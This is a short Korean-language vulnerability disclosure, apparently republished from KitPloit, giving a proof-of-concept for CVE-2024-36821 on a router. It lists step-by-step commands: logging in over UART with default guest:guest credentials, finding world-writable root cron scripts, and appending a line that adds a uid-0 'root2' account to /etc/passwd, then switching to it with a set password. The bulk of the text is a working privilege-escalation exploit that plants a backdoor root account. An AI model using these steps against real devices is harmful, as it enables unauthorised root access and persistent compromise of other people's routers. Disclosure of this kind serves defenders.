CVE-2024-36821

CVE-2024-36821로 등록된 취약점에 대한 최소 필수 정보를 포함한 공개 참고 자료입니다.

PoC가 포함된 원본 영상은 다음 링크에서 확인할 수 있습니다 -> https://www.youtube.com/watch?v=6vHno0ik7JY

PoC 방법:

1. UART 연결을 통해 라우터에 접속합니다.

2. guest:guest 자격 증명을 사용하여 시스템에 로그인합니다.

3. find / -perm -777 -type f 2>/dev/null 명령을 사용하여 읽기-쓰기-실행 권한이 있는 파일을 찾습니다:

   root@kitploit:~

   1. /tmp/cron/cron.daily/sysinfo_cleanup.sh
   2. /tmp/cron/cron.daily/devicedb_backup_daily.sh
   3. /tmp/cron/cron.hourly/sysinfo_cleanup.sh
   4. /tmp/cron/cron.every5minute/sysinfo_cleanup.sh
   5. /tmp/cron/cron.everyminute/conntrack_collector.sh
   

   

4. ls -al /tmp/cron/cron.everyminute/conntrack_collector.sh 명령으로 소유자를 확인합니다.

5. openssl passwd Abracadabra 명령으로 비밀번호를 생성합니다.

6. /tmp/cron/cron.everyminute/conntrack_collector.sh 파일을 편집하여 마지막에 새로 생성된 비밀번호를 추가합니다:

   root@kitploit:~

   echo "root2:UlPYin76ss0w2:0:0::/:/bin/sh" >> /etc/passwd
   

   

7. 1분 기다립니다.

8. 다음 명령으로 root2 사용자로 전환합니다:

   root@kitploit:~

   / $ su root2
   Password: Abracadabra
   ~ #